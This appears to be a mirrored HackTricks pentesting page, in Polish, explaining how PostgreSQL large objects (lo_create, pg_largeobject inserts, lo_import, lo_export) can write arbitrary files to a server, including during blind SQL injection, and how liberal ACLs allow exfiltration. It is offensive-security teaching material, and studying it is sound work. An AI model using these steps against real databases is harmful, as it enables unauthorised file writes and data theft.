mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-12 21:28:55 +00:00
92 lines
5.6 KiB
Markdown
92 lines
5.6 KiB
Markdown
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
### PostgreSQL Large Objects
|
||
|
|
||
|
PostgreSQL oferuje strukturę znaną jako **large objects**, dostępną za pośrednictwem tabeli `pg_largeobject`, zaprojektowaną do przechowywania dużych typów danych, takich jak obrazy czy dokumenty PDF. To podejście jest korzystniejsze niż funkcja `COPY TO`, ponieważ umożliwia **eksport danych z powrotem do systemu plików**, zapewniając dokładną replikę oryginalnego pliku.
|
||
|
|
||
|
Aby **przechować pełny plik** w tej tabeli, należy utworzyć obiekt w tabeli `pg_largeobject` (identyfikowany przez LOID), a następnie wprowadzić fragmenty danych, każdy o rozmiarze 2KB, do tego obiektu. Ważne jest, aby te fragmenty miały dokładnie 2KB (z możliwym wyjątkiem ostatniego fragmentu), aby zapewnić prawidłowe działanie funkcji eksportu.
|
||
|
|
||
|
Aby **podzielić swoje dane binarne** na fragmenty 2KB, można wykonać następujące polecenia:
|
||
|
```bash
|
||
|
split -b 2048 your_file # Creates 2KB sized files
|
||
|
```
|
||
|
Aby zakodować każdy plik w Base64 lub Hex, można użyć poniższych poleceń:
|
||
|
```bash
|
||
|
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
|
||
|
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
|
||
|
```
|
||
|
**Ważne**: Podczas automatyzacji tego procesu upewnij się, że wysyłasz kawałki 2KB czystych bajtów. Pliki zakodowane w hex będą wymagały 4KB danych na kawałek z powodu podwojenia rozmiaru, podczas gdy pliki zakodowane w Base64 stosują wzór `ceil(n / 3) * 4`.
|
||
|
|
||
|
Zawartość dużych obiektów można przeglądać w celach debugowania za pomocą:
|
||
|
```sql
|
||
|
select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
||
|
```
|
||
|
#### Używanie `lo_creat` i Base64
|
||
|
|
||
|
Aby przechować dane binarne, najpierw tworzony jest LOID:
|
||
|
```sql
|
||
|
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||
|
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||
|
```
|
||
|
W sytuacjach wymagających precyzyjnej kontroli, takich jak wykorzystanie Blind SQL Injection, `lo_create` jest preferowane do określenia stałego LOID.
|
||
|
|
||
|
Dane mogą być następnie wstawiane w następujący sposób:
|
||
|
```sql
|
||
|
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
|
||
|
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
|
||
|
|
||
|
```
|
||
|
Aby wyeksportować i potencjalnie usunąć duży obiekt po użyciu:
|
||
|
```sql
|
||
|
SELECT lo_export(173454, '/tmp/your_file');
|
||
|
SELECT lo_unlink(173454); -- Deletes the specified large object
|
||
|
```
|
||
|
#### Używanie `lo_import` i Hex
|
||
|
|
||
|
Funkcja `lo_import` może być wykorzystana do tworzenia i określania LOID dla dużego obiektu:
|
||
|
```sql
|
||
|
select lo_import('/path/to/file');
|
||
|
select lo_import('/path/to/file', 173454);
|
||
|
```
|
||
|
Po utworzeniu obiektu dane są wstawiane na stronę, zapewniając, że każdy kawałek nie przekracza 2KB:
|
||
|
```sql
|
||
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
|
||
|
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
|
||
|
```
|
||
|
Aby zakończyć proces, dane są eksportowane, a duży obiekt jest usuwany:
|
||
|
```sql
|
||
|
select lo_export(173454, '/path/to/your_file');
|
||
|
select lo_unlink(173454); -- Deletes the specified large object
|
||
|
```
|
||
|
### Ograniczenia
|
||
|
|
||
|
Zauważono, że **duże obiekty mogą mieć ACL** (Listy Kontroli Dostępu), co może ograniczać dostęp nawet do obiektów stworzonych przez twojego użytkownika. Jednak starsze obiekty z liberalnymi ACL mogą być nadal dostępne do eksfiltracji treści.
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Wsparcie dla HackTricks</summary>
|
||
|
|
||
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|